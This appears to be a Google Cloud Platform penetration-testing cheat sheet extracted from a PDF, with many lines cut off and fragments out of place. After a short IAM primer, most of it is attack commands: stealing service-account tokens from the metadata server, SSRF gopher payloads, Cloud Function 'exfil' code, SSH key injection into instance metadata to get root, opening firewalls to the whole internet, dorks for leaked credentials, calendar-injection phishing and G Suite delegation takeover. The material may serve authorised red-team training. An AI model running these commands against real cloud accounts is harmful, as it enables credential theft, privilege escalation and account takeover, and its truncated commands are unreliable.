Google Cloud Platform Pentest
Google Cloud Platform Pentest
GCP - 101
Google Cloud Platform resource hierarchy. - https://cloud.google.com/resource-
manager/docs/cloud-platform-resource-hierarchy
Azure and GCP follow Resource Based Policy comparing to AWS following
Identity Based Policy.
Unlike AWS, in Azure (and GCP), the list of permissions is decoupled from
the resources. The resources for which a permission assignment would apply is
called a “scope.” (Source)
Organization
--> Folders
--> Projects
--> Resources
Organization
The Organization resource is the root node in the Google Cloud
resource hierarchy and is the hierarchical super node of projects.
Folders
Folders are nodes in the Cloud Platform Resource Hierarchy. A
folder can contain projects, other folders, or a combination of both.
Organizations can use folders to group projects under the organiza-
tion node in a hierarchy.
Project
A GCP Project is basically a collection of various GCP services
such as compute instances, storage buckets, Cloud run containers,
etc. that are grouped together since they serve one application or
project in the corporate terminology.
1
GCP Control Plane
GCP control plane can be defined as a set o APIs that allows a GCP admin-
istrator or an IAM user to start, monitor and stop various services that run
within GCP environment.
GCP IAM
• Who / What / Where :
1. Who: Members (User Account / Service Account)
2. What: Role (Set of permissions)
3. Where: Role binding to an object (At multiple possible levels)
–> Permissions are inherited which means if you have permission on project
level you will have same permissions set on all resources within this project.
GCP Role
3 type of roles within GCP: Role are a collection of permissions.
Permissions enable you to take certain actions: Ex - Compute.Instances.Start
• Basic Roles: It’s provides broader access to GCP resources (Owner, Ed-
itor, Viewer)
• Prededfined Roles: It’s provides granular acces to specific GCP re-
sources. (By product or service: Compute Admin, Computer Network
Admin… etc)
• Custom Roles: It’s provides custom access to GCP resources.
2
– Compute Engine: Default Service Account: PROJECT_NUMBER-
[email protected]
–> The Compute Engine default service account is created with the IAM basic
Editor role. They have this permission on Project level.
Service account
Special type of Google account intended to represent a non-human user that
need to authenticate and be authorized to access data in Google APIs.
–> Service account key files: JSON files containing the private key of the
service account. Used by application to access various other GCP resources.
3
–> A client token will be obtained after the user grants permissions and this
allows an application to access project resources under that user’s account.
(OAuth Token Hijacking)
API Keys
API keys are simple encrypted strings that can be used when calling certain
APIs that don’t need to access private user data.
API Key are mostly used to track API requests associated with the project for
quota and billing.
Threat regarding GCP
- Owner account - IAM credentials - Service account key files
3 Types of IAM roles: - Basic Roles: Existing roles prior to the introduction of
IAM + Owner + Editor + Viewer
Note: Primitive Editor role has dangerous permissions such as iam.serviceAccountKeys.create
and iam.serviceAccounts.actAs.
• Predefined Roles: Granular access for specific service
– Created by Google
• Custom Roles : Ganular access to user-specified list of permissions.
Checking permissions - IAM permissions - Predefined roles - Product specific
IAM roles
GCP Access
Google Cloud Directory Sync
• LDAP and Active Directory Sync
Web console
• https://console.cloud.google.com
–> Management UI (classical admin console interface with GUI accessible
through browser)
Gcloud CLI
• https://cloud.google.com/sdk/docs/cheatsheet –> Google Cloud CLI is a
set of tools to create and manage Google Cloud resources.
Through click on the web console or gcloud CLI you will directly talk to Controle
Plan APIs (Restfull).
4
Obtaining User Access Tokens
As mentionned previously 2 types of accounts exist within GCP : - User accounts
(user credentials) - Service accounts (service account credentials)
Secret in user credentials files takes the form of a long-lived refresh tokens .
–> You usually obtain (authorized) user credential files by through the underly-
ing command, which initiates an OAuth 2.0 authorization code grant.
gcloud auth application-default login
–> This will produce a credential file called : application_default_credentials.json
–> Located at : ~/.config/gcloud
This refresh token can be used to obain access tokens using OAuth 2.0
refresh token grant
As an attacker some actions or tools required an access tokens to operate. In
fact the refresh token grant action only requires a single call to retrieve a
valid access token.
curl --location --request POST "https://oauth2.googleapis.com/token" --header "Content-Type:
'client_id': 'XXXXXXXXXX-XXXXXXXXXXXX.apps.googleusercontent.com',
'client_secret': 'X-XXXXXXXXXXXXXXXX',
'refresh_token': 'XXXXXXXXXXXXXXXXXXXXXXXXXX',
'grant_type': 'refresh_token'
}"
–> The response is an access token and an ID token.
Note 1 : You can modify the access token scopes by specifying scopes in your
request, although you cannot increase beyond the scopes of the original refresh
token.
Note 2 : The scope ending cloud-platform gives you access to pretty much all
GCP resources.
5
"private_key": "-----BEGIN PRIVATE KEY-----\n**redacted**\n-----END PRIVATE KEY-----\n",
"client_email": "[email protected]",
"client_id": "**redacted**",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/service-account
}
In order to obtain access tokens for service account, most of the time attacker
will exploit the metadata service directly and retrieve the access tokens.
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/t
Obtain the scope of the current access token
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/s
You can also directly authentify yourself using the service account credential
JSON file.
gcloud auth activate-service-account --project=<YOUR GCLOUD PROJECT> --key-file=<SERVICE ACC
Using Service Account from a user perspective with role roles/iam.serviceAccountTokenCreator
will let the following logs: - Great blog post regarding service account logging.
{
"principalEmail": "[email protected]",
"serviceAccountDelegationInfo": [
{
"firstPartyPrincipal": {
"principalEmail": "[email protected]"
}
}
]
}
–> You can also get a higher level of detail if you enable Data Access logs.
–> If the attacker is directly downloading and using service account key level
of attribution would be impossible, and the log will not provide you with the
principal user email.
authenticationInfo: {
principalEmail: "[email protected]"
serviceAccountKeyName: "//iam.googleapis.com/projects/project/serviceAccounts/k8s@project.
}
6
Initial Access
Password spraying
• https://github.com/ustayready/CredKing
GCP - Analysis
GCP Scanner
This is a GCP resource scanner that can help determine what level
of access certain credentials possess on GCP. The scanner is de-
signed to help security engineers evaluate the impact of a certain
VM/container compromise, GCP service account or OAuth2 token
key leak.
• https://github.com/google/gcp_scanner
GCP Inspector
• https://infosecwriteups.com/gcp-inspector-auditing-publicly-exposed-
gcp-bucket-ac6cad55618c
• https://github.com/justmorpheus/gcp-inspector
CloudSploit
• https://github.com/aquasecurity/cloudsploit Scripts designed to check for
security misconfiguration within cloud environment such as GCP, AWS,
Azure, Oracle (OCI), Github.
There is specific instruction for GCP to follow in order to use the Cloudsploit
tool, such as providing specific role or permission set.
- https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-
provider-configuration
7
Graph Google Cloud
• https://github.com/JupiterOne/graph-google-cloud/tree/main
Scoutsuite
• https://github.com/nccgroup/ScoutSuite Multi-Cloud security auditing
tool.
GCP Hound
gcpHound queries and collects all organization and projects permissions as well
as group memberships.
–> You can edit the file rolesOfInterest.txt file to customize and analyze roles
you are interested in before running gcpHound.
• https://desi-jarvis.medium.com/gcphound-a-swiss-army-knife-offensive-
toolkit-for-google-cloud-platform-gcp-fb9e18b959b4
• https://medium.com/@richardson.brad/gcphound-this-hound-has-
learned-some-new-tricks-8a53559dc0dd
docker pull desijarvis/gcphound:v1.2
Lyft
• https://github.com/lyft/cartography Tool to enumerate and print in a
graph resources and relations of different cloud platforms.
Hayat
• https://github.com/DenizParlak/hayat
Hayat is a auditing & hardening script for Google Cloud Platform services such
as:
• Identity & Access Management
• Logging and monitoring
• Networking
• Virtual Machines
• Storage
• Cloud SQL Instances
• Kubernetes Clusters
8
GCP-IAM-Collector
Python scripts for collecting and visualising Google Cloud Platform IAM per-
missions.
GCP IAM graph is created using vis.js and it’s static HTML page, see example
interactive graph.
• https://github.com/marcin-kolda/gcp-iam-collector
9
Exploiting Custom Role permissions update Custom role contains user
defined permissions, custom role can only be attached to organization OR
project level.
Permission: iam.roles.update
gcloud iam roles update <CustomRoleName> --project=<ProjectName> --add-permissions=resourcem
Exploiting Service Account Key Admin Key Admin can create a new
key for a Service Account. Service Account can have up to 10 keys.
Permission: iam.serviceAccountkeys.create Role: roles/iam.serviceAccountKeyAdmin
OR roles/iam.serviceAccountAdmin
Create a new key for specific service account
gcloud iam service-accounts keys create <File.json> --iam-account <ServiceAccountID>
10
GCP Firewall enum
Parse gcloud output to enumerate compute instances with network ports ex-
posed to the Internet.
• https://gitlab.com/gitlab-com/gl-security/security-operations/gl-
redteam/gcp_firewall_enum
GCP_enum
A simple bash script to enumerate Google Cloud Platform environments. The
script utilizes gcloud, gsutil, and curl commands to collect information from
various GCP APIs. The commands will use the current “Application Default
Credentials”.
• https://gitlab.com/gitlab-com/gl-security/security-operations/gl-
redteam/gcp_enum
11
This github repo contain bash scripts that may be usefull to find open buck-
ets, open cloudrun and open functions from an external attacker perspective
(unauthenticated).
• find_open_cloudrun.sh: Cloud Run services that permit unauthenticated
invocations anywhere in your GCP organization.
• find_open_buckets.sh: Find buckets that are open to the public anywhere
in your GCP organization.
• find_open_functions.sh: Find Cloud Functions that permit unauthenti-
cated invocations anywhere in your GCP organization
bash find_open_cloudrun.sh
Shodan / Censys
Look for strings within Shodan related to GCP environments: - stor-
age.google.apis.com
GCP Dorks
• Finding service account credentials
site:github.com "auth_provider_x509_cert_url"
12
• Identifying GCE instances that might have JSON file:
site:bc.googleusercontent.com ext:json intext:url
–> If a website is hosted in this GCE, add the IP before bc.
https://33.xx.xx.xx.bc.googleusercontent.com/
–> Automated technique: SearchDiggity (Credits to : BishopFox) -
https://resources.bishopfox.com/resources/tools/google-hacking-diggity/attack-
tools/
• Identifying GCP Storage.
– https://bucket_name.storage.googleapis.com
– https://storage.googleapis.com/bucket_name
site:storage.googleapis.com
–> Automated technique: GCPBucketBrute
• Identifying App Engine
site:appspot.com inurl:admin ext:html
• Identifying Cloud run
site:run.app inurl:admin
• Identifying Cloud FireStore (NoSQL database)
site:firebaseio.com inurl:admin
• Identifying Cloud Functions
site:cloudfunctions.net inurl:admin
• Identifying potential SSRF
site:appspot.com ext:php inurl:url=
13
GCP Storage misc locations
• Github, other repo technology to find storage endpoint
• Mobile app of the company
• Wayback machine (enum_wayback module MSF)
Accessing Onjects
• https://storage.googleapis.com/its_all_in_the_cloud/object001.jpg
– storage.googleapis.com -> GCP
– its_all_in_the_cloud -> Globally unique bucket name
– object001.jpg -> Object Name
Cloud_Enum
Tool to search for public resources in AWS, Azure, and GCP
• https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k <name-to-search>
Cloud Brute
• https://github.com/0xsha/CloudBrute
Tool to find a company (target) infrastructure, files, and apps on the top cloud
providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
CloudBrute -d company.com -k keyword -m storage -t 80 -T 10 -w -c google -o target_output.tx
14
GCP - Authenticated enumeration
CloudTricks - Carlos Polop
Enumeration TTPs for the main GCP Services.
• https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services
GCP - Exploitation
Phishing G-Suite:
• Calendar Event Injection • Silently injects events to target calendars • No
email required • Google API allows to mark as accepted • Bypasses the “don’t
auto-add” setting • Creates urgency w/ reminder notification • Include link to
phishing page
15
• https://www.youtube.com/watch?v=q6UPWBrHJtM
• https://www.netskope.com/fr/blog/new-phishing-attacks-exploiting-
oauth-authorization-flows-part-1
16
Exploit using dataproc.clusters.create and attach default service account
using dataprocserviceaccount.
This is going to launch a new data proc cluster with a new default compute
service account.
gcploit --exploit dataproc --project <ProjectID> --source <dataprocserviceaccount>
Checking permission
2 ways to check the permissions over a GCP bucket. 1. Request to
https://www.googleapis.com/storage/v1/b/BUCKET_NAME/iam 2. gsutil
iam get gs://BUCKET_NAME
–> Permissions to read the iam policy of the bucket are required (storage.buckets.getIamPolicy)
You can also use the testPermissions endpoint to validate additional permissions.
https://www.googleapis.com/storage/v1/b/BUCKET_NAME_TO_BE_CHANGED/iam/testPermissions?permis
17
• Use enumFilesStorage.py
# Usage : python3 enumeFilesStorage.py bucketName threadNumber
# python3 enumFilesStorage.py cdn_test 16
CRT Discovery
• https://developers.facebook.com/docs/certificate-transparency-api/
• Certificate transparency https://crt.sh/?q=company.com
Subdomain takeover
Subdomain takeover can occur within GCP environment. For example through
bucket and DNS entry misconfiguration.
In case a DNS entry still points to the subdomain to that GCP bucket, but the
bucket has been deleted, an attacker woul be able to create a new bucket with
the same name under hist attacker’s GCP account.
This would provide capability to attacker to create malicious JavaScript, or
served any content using victim organization identity.
e.g. foo.example.com ---DNS--entry--(CNAME)---> foo.storage.googleapis.com
18
• https://github.com/blacklanternsecurity/bbot
• https://github.com/punk-security/dnsReaper
• https://github.com/haccer/subjack
• https://github.com/anshumanbh/tko-sub
• https://github.com/ArifulProtik/sub-domain-takeover
• https://github.com/SaadAhmedx/Subdomain-Takeover
• https://github.com/Ice3man543/SubOver
• https://github.com/m4ll0k/takeover
• https://github.com/antichown/subdomain-takeover
• https://github.com/musana/mx-takeover
19
gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys
{
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/lo
"expires_in": 2443,
"access_type": "offline"
}
3. Now push the SSH key
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstance
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
20
–> Service account are restricted by scopes:
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/trace.append
https://www.googleapis.com/auth/logging.write: added if Cloud Logging is enabled
https://www.googleapis.com/auth/monitoring: added if Cloud Monitoring is enabled
It exists some hardening and mitigation proposed by GCP in order to restrict
the potential privilege escalations path from a node compromise.
• https://github.com/lightspin-tech/red-kube
• https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-
privilege-escalation/
• https://www.4armed.com/blog/hacking-kubelet-on-gke/
• https://live.paloaltonetworks.com/t5/blogs/exploring-google-kubernetes-
engine-gke-security/ba-p/249971
• https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-
containers-gke-and-composer-enum
• https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-
public/red-team-tech-notes/-/tree/master/K8s-GKE-attack-notes
• https://www.appvia.io/blog/how-can-i-secure-my-kubernetes-cluster-on-
gke/
• https://sysdig.com/learn-cloud-native/kubernetes-security/gke-security-
best-practices-guide/
• https://www.youtube.com/watch?v=Ml09R38jpok
Scenario : You exploit a webapp and get command execution.
Exploiting Containers
• https://github.com/RhinoSecurityLabs/ccat
21
Accessing secrets
By default, a container in the Kubernetes cluster will hold a service account
token within its file system. If attackers find that token, they can use it to move
laterally, or depending on the privilege of the service account, they can escalate
its privilege to compromise the entire cluster environment.
/run/secrets/kubernetes.io/serviceaccount/token
/var/run/secrets/kubernetes.io/serviceaccount/token
Access token via metadata from compromised nodes.
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/to
Firewall manipulation
Requires: - Roles: roles/compute.admin, roles/compute.securityAdmin
- Permissions: compute.firewalls.create, compute.firewalls.update, com-
pute.networks.updatePolicy
Check IAM policy on project level
gcloud projects get-iam-policy project123 --flatten="bindings[].members" --filter="bindings.
--format="value(bindings.role)"
List of all firewall rules in a gcp project
gcloud compute firewall-rules list --format=json
Create a new firewall rules applicable for all GCE instances within a VPC
gcloud compute firewall-rules create exfilssh-rule --allow=tcp:22 --source-ranges="0.0.0.0/0
22
GCP - Lateral movement / pivoting
Identify compute permissions
Assuming we have an RCE on a given instance.
Retrieve access token for the service account associated with the instance
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/<NUMBER>-
Get the name of attached scope to this service accont
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<ACCESS_TOKEN>
23
"apt": {
},
"yum": {
},
"zypper": {
},
"windowsUpdate": {
},
"preStep": {
"linuxExecStepConfig": {
"gcsObject": {
"bucket": "{{.BucketName}}",
"object": "{{.LinuxScriptName}}",
"generationNumber": "0"
},
"interpreter": "SHELL"
},
"windowsExecStepConfig": {
"gcsObject": {
"bucket": "{{.BucketName}}",
"object": "{{.WindowsScriptName}}",
"generationNumber": "0"
},
"interpreter": "POWERSHELL"
}
},
"migInstancesAllowed": true
},
"duration": "60s",
"recurringSchedule": {
"timeZone": {
"id": "America/New_York"
},
"timeOfDay": {
},
"frequency": "DAILY"
},
"rollout": {
"mode": "CONCURRENT_ZONES",
"disruptionBudget": {
"percent": 100
}
}
}
24
Plundering User-Data scripts
Access instance metadatas
curl "http://metadata.google.internal/computeMetadata/v1/" -H "Metadata-Flavor: Google"
If instance stores user-data then it is possibel to navigate to the URL below on
the compromised instance
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes" -H "Metadata-F
Get the values of each of the attribute (based on the attribute within the re-
sponse of the previous request)
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/username" "-H "
db = firestore.Client()
coll = db.collections()
for x in coll:
users_ref = x
25
Add SSH Keys to instance metadata after VM creation
Check ssh keys attached to instance
gcloud compute instances describe instance-1 --zone=us-central1-a --format=json | jq '.metad
Check for “privilegeduser:ssh-rsa” and generate ssh keys with same username
and paste in file
ssh-keygen -t rsa -C "privilegeduser" -f ./underprivuser
Upload the file with the 2 keys and access to the instance.
gcloud compute instances add-metadata instance-1 --metadata-from-file=ssh-keys=/home/lutzenf
ssh -i underprivuser [email protected]
SharpCloud
SharpCloud is a simple C# utility for checking for the existence of credential
files related to Amazon Web Services, Microsoft Azure, and Google Compute.
26
Pivot using Clone (SQL)
In case compromised GCP user’s credentials have access to SQL instances within
the organization GCP account.
List cloud SQL instances
gcloud sql instances list
If access to SQL instance –> clone that instance and create a new instance
gcloud sql instances clone targetsql targetsql-clone
Cloning Cloud SQL instance...done*.
Using “set-password” API to change SQL database root user’s password
gcloud sql users set-password root -i target-clone --host=102.XX.XX.XX --password=Password12
response = urllib.urlopen('http://10.128.0.10:10255/pods')
print("Response : ", response)
print("URL : ", response.geturl())
27
headers = response.info()
print (headers)
data = response.read()
print (data^)
Container Breakout
If you land on a container that is not configured with default settings, you may
need to escalate your privileges or escape from it in order to gain access to the
underlying host OS.
• Docker Breakout (HackTricks)
• Container Escape Using Kernel Exploitation (CyberArk)
• How I Hacked Play-with-Docker (CyberArk)
• CVE-2016-5195
• CVE-2019–5736
• CVE-2019–14271
• CVE-2020–15257
28
gcloud iam service-accounts list
Impersonate other service account and different commands in the context of
that account
gcloud compute instances list --impersonate-service-account [email protected]
gsutil -i [email protected] ls
You can also add the impersonation configuration directly to avoid retyping the
–impersonate-service-account parameter.
gcloud config set auth/impersonate_service_account [email protected]
gsutil ls
Finally you can use the token and impersonate service account to request the
service account access token.
gcloud auth print-access-token --impersonate-service-account [email protected]
Access Scopes
The service account on a GCP Compute Instance will use OAuth to commu-
nicate with the Google Cloud APIs. When access scopes are used, the OAuth
token that is generated for the instance will have a scope limitation included.
–> This does not define the actual permissions.
You can see what scopes are assigned by querying the metadata URL.
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/sc
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
If an instance has no scope limitation you will received the following result:
https://www.googleapis.com/auth/cloud-platform
29
–> This scope will allow us to authenticate to any API function and leverage
the full power of our assigned IAM permissions.
30
• iam.serviceAccounts.signJwt
• iam.serviceAccounts.actAs
• cloudfunctions.functions.create
• cloudfunctions.functions.update
• compute.instances.create
• run.services.create
• cloudscheduler.jobs.create
• orgpolicy.policy.set
• storage.hmacKeys.create
• serviceusage.apiKeys.create
• serviceusage.apiKeys.list
• resourcemanager.organizations.setIamPolicy
• resourcemanager.folders.setIamPolicy
• resourcemanager.projects.setIamPolicy
• iam.serviceAccounts.setIamPolicy
• cloudfunctions.functions.setIamPolicy
Privesc scanner from RhinoSecurityLabs can be used.
31
• https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
def exfil():
res = requests.get('http://169.254.169.254/computeMetadata/v1beta1/instance/service-acco
return (res)
exfil()
import subprocess
import random
import io
import string
import json
import os
from urllib.request import Request, urlopen
from base64 import b64decode, b64encode
def req(request):
request_json = request.get_json()
req = Request('http://metadata.google.internal/computeMetadata/v1/instance/service-account
req.add_header('Metadata-Flavor','Google')
content = urlopen(req).read()
token = json.loads(content)
print(token)
You can also as an attacker exploit or modify google cloud functions by
accessing with write privileges the storage bucket where the function code
is hosted. In this case you do not need any iam.serviceAccountUser role or
iam.serviceaccounts.actAs permission, but proper permissions on the storage
bucket.
32
GCP - Privesc to other principals
• https://book.hacktricks.xyz/cloud-security/gcp-security/gcp-interesting-
permissions/gcp-privesc-to-other-principals
33
Steal gcloud authorization
It’s quite possible that other users on the same box have been running gcloud
commands using an account more powerful than your own. You’ll need local
root to do this.
sudo find / -name "gcloud"
You can manually inspect the files inside, but these are generally the ones with
the secrets:
~/.config/gcloud/credentials.db
~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json
~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto
~/.credentials.json
C:\Users\USERNAME\.config\gcloud\*
34
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' "$TARGET_DIR"
35
Every time you create a compute instance or application in App Engine, a
default Service Accounts will be created for your whole project (project level)
and receive Editor Role with over 7143 assigned permissions.
Update
> Authorization provided to applications hosted on a Compute Engine instance
is limited by two separate configurations: the roles granted to the attached
service account, and the access scopes. Granting an access scope for Cloud
Storage on a virtual machine instance allows the instance to call the Cloud
Storage API only if you have enabled the Cloud Storage API on the project.
- IAM restricts access to APIs based on the IAM roles that are granted to the
service account. - Access scopes potentially further limit access to API methods.
(Access scopes do not apply for calls made using gRPC)
Default scopes
When you create a new Compute Engine instance, it is automatically configured with the follo
36
- https://www.googleapis.com/auth/compute - https://www.googleapis.com/auth/cloud-
platform
Add SSH key to custom metadata When deploying a GCE instance (VM)
on Linux or Windows some Guest Agent for Google Compute Engine are de-
ployed.
On Linux within these agent a daemon managing the account for the instance
is used.
As Google Documentation explain :
> On Linux: If OS Login is not used, the guest agent will be responsible for
provisioning and deprovisioning user accounts. The agent creates local user
accounts and maintains the authorized SSH keys file for each. User account
creation is based on adding and remove SSH Keys stored in metadata.
–> The deployed agent will periodically queries the instance metadata endpoint
for changes to the authorized SSH public keys.
If a new public key is encountered, it will be processed and added to the local
machine, depending on the format of the key :
- Added to ~/.ssh/authorized_keys - Or will create a new user with sudo
rights
Attacker Scenario 1 : If you can modify the custom instance metadata with
your service account, you can escalate to root on the local system by gaining
SSH rights to a privileged account.
Attacker Scenario 2 : If you can modify project metadata, you can escalate
to root on any system in the current GCP project that is running that accounts
daemon.
Attacker Scenario 1 Check the instance for existing SSH keys. Pick on of
these users as they are likely to have sudo rights.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
The format of public keys are different from traditional authorized key file.
...
metadata:
fingerprint: QCZfVTIlKgs=
items:
...
- key: ssh-keys
value: |-
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPf
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBP
...
37
–> Save the line with usernames and keys in a new text file called meta.txt.
Let’s assume we are targeting the user alice from above. We’ll generate a new
key for ourselves like this:
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
Take the output of the command above and use it to add a line to the meta.txt
file you create above, ensuring to add alice: to the beggining of your new public
key.
meta.txt should now look something like this, including the existing keys and
the new key you just generated:
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIS
bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAb
alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuO
Rewrite the SSH key metadata for you instance with the following command:
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
You can now access a shell in the context of alice as follows:
lowpriv@instance:~$ ssh -i ./key alice@localhost
alice@instance:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
Attacker Scenario 2 You can follow the same process as above, but just
make up a new username.
This user will be created automatically and given rights to sudo.
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
38
• This will generate a new SSH key
• Add it to your existing user
• Add your existing username to the google-sudoers group
• Start a new SSH session
Note : In case of OS Login usage.
> OS Login simplifies SSH access management by linking your Linux user ac-
count to your Google identity. Administrators can easily manage access to
instances at either an instance or project level by setting IAM permissions.
–> OS Login is enabled at the project or instance level using the metadata key
of enable-oslogin = TRUE.
–> OS Login with two-factor authentication is enabled in the same manner with
the metadata key of enable-oslogin-2fa = TRUE
If OS Login enable, attacker will need the following permission ap-
plied to project or instance level: - roles/compute.osLogin (no sudo) -
roles/compute.osAdminLogin (has sudo)
–> OS Login can be configured with 2 steps verification.
Exploiting OsLogin
The settings enable-oslogin=TRUE need to be set within project metadata
or on the instance metadata level.
GCP CloudBuild
A user with permissions to start a new build with Cloud Build can gain ac-
cess to the Cloud Build Service Account and abuse it for more access to the
environment.
To exploit this as a user in GCP, we only need one IAM permission granted to
the user in question:
• cloudbuild.builds.create
–> https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
–> https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudb
39
Spreading to GSuite via domain-wide delegation of authority
Objective : Accessing GSuite from a service account within GCP environment.
Service accounts in GCP can be granted the rights to programatically access
user data in G Suite by impersonating legitimate users.
This is known as domain-wide delegation. This includes actions such as: -
Reading email in GMail - Accessing Google Docs - Creating new user accounts
in the G Suite organization (in case of administrator role)
–> It is possible that a G Suite administrator has granted some level of G Suite
API access to a GCP service account that you control.
Verify via Web UI (management console):
IAM Menu -> Service Accounts --> Check if any of the accounts have "**Enabled**" listed unde
Note : GSuite administrator would also have to configure this in the G Suite
admin console.
As attacker you need the service account JSON credentials..
Your service account has something called a “client_email” which
you can see in the JSON credential file you export. It probably looks
something like [email protected].
If you try to access G Suite API calls directly with that email,
even with delegation enabled, you will fail. This is because the G
Suite directory will not include the GCP service account’s email
addresses. Instead, to interact with G Suite, we need to actually
impersonate valid G Suite users.
• gcp_delegation script
# Validate access only
$ ./gcp_delegation.py --keyfile ./credentials.json \
--impersonate [email protected] \
--domain target-org.com
40
If you have success creating a new admin account, you can log on to the Google
admin console and have full control over everything in G Suite for every user -
email, docs, calendar, etc.
account-sa-key.json service account file
{
"type": "service_account",
"project_id": "project123",
"private_key_id": "432423423423423",
"private_key": "-----BEGIN PRIVATE KEY-----\nSDfdsfJFZOPEZE",
"client_email": "[email protected]",
"client_id": "43434343433",
